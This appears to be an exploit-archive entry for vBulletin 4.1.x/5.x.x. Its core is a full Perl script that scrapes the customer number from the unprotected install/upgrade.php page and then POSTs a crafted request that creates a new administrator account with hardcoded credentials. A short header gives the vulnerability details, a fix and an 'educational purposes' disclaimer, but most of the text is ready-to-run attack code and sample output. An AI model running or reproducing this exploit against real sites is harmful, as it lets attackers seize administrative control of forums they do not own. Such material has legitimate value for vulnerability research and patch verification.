vBulletin 4.1.x / 5.x.x Administrative User Injection

2013.10.29
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/perl # # Title: vBulletin remote admin injection exploit # Author: Simo Ben youssef # Contact: Simo_at_Morxploit_com # Coded: 17 September 2013 # Published: 24 October 2013 # MorXploit Research # http://www.MorXploit.com # # Vendor: vBulletin (www.vbulletin.com) # Version: 4.1.x / 5.x.x # Vulnerability: Remote admin injection # Severity: High # Status: Confirmed # # Exploit code description: # Perl code to inject a new admin account through upgrade.php script. # # Vulnerability details: # upgrade.php is vulnerable to a new admin account injection, the script doesn't require autentication when upgrading # it only requires the customer number which can be extracted through the same script source code. # # Fix: # Rename or delete the install folder until a fix is released. # # Author disclaimer: # The information contained in this entire document is for educational, demonstration and testing purposes only. # Author cannot be held responsible for any malicious use. Use at your own risk. # # Exploit usage: # # root@MorXploit:/home/simo/morx# perl morxvb.pl localhost # # =================================================== # --- vbulletin admin injection exploit # --- By: Simo Ben youssef <simo_at_morxploit_com> # --- MorXploit Research www.MorXploit.com # =================================================== # [*] Trying to get customer number ... hold on! # [+] Got xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx! # [*] Trying to MorXploit localhost ... hold on! # [+] Admin account successfully injected! # [+] Admin: MorXploit # [+] Pass: m0rxpl017 use strict; use IO::Socket; if(!defined($ARGV[0])) { system ('clear'); print "\n"; print "===================================================\n"; print "--- vbulletin admin injection exploit\n"; print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n"; print "--- MorXploit Research www.MorXploit.com\n"; print "===================================================\n"; print "--- Usage: perl $0 target\n\n"; exit; } my $site = $ARGV[0]; ##### Change these as needed ##### my $user = "MorXploit"; my $passwd = "m0rxpl017"; my $email = "dev%40null.com"; my $path = "/install/upgrade.php"; ################################## my $accept = "Accept: */*"; my $ct = "application/x-www-form-urlencoded"; my $port = "80"; system ('clear'); print "\n"; print "===================================================\n"; print "--- vbulletin admin injection exploit\n"; print "--- By: Simo Ben youssef <simo_at_morxploit_com>\n"; print "--- MorXploit Research www.MorXploit.com\n"; print "===================================================\n"; my $sock = new IO::Socket::INET ( PeerAddr => "$site",PeerPort => "$port",Proto => "tcp"); die "\n[-] Can't creat socket: $!\n" unless $sock; print "[*] Trying to get customer number ... hold on!\n"; print $sock "GET $path HTTP/1.1\n"; print $sock "Host: $site\n"; print $sock "$accept\n"; print $sock "Content-Type: $ct\n"; print $sock "Connection: Close\n\n"; my $gotcn; while(my $cn = <$sock>) { if ($cn =~ /CUSTNUMBER = \"(.*?)\"/){ $gotcn = $1; } } if (!defined $gotcn) { print "[-] Failed to get customer number! Nulled? Going to try anyway!\n"; } else { print "[+] Got $gotcn!\n"; } my $xploit = "ajax=1&version=install&checktable=false&firstrun=false&step=7&startat=0&only=false&customerid=$gotcn&options[skiptemplatemerge]=0&response=yes&htmlsubmit=1&htmldata[username]=$user&htmldata[password]=$passwd&htmldata[confirmpassword]=$passwd&htmldata[email]=$email"; my $cl = length($xploit); my $content = "Content-Length: $cl"; my $sock2 = new IO::Socket::INET ( PeerAddr => "$site",PeerPort => "$port",Proto => "tcp"); die "\n[-] Can't creat socket: $!\n" unless $sock; print "[*] Trying to MorXploit $site ... hold on!\n"; print $sock2 "POST $path HTTP/1.1\n"; print $sock2 "Host: $site\n"; print $sock2 "$accept\n"; print $sock2 "Cookie: bbcustomerid=$gotcn\n"; print $sock2 "Content-Length: $cl\n"; print $sock2 "Content-Type: $ct\n"; print $sock2 "Connection: Close\n\n"; print $sock2 "$xploit\n\n"; while(my $result = <$sock2>){ if ($result =~ /Administrator account created/) { print "[+] Admin account successfully injected!\n"; print "[+] Admin: $user\n"; print "[+] Pass: $passwd\n"; exit; } } print "[-] Failed, something went wrong\n"; exit;


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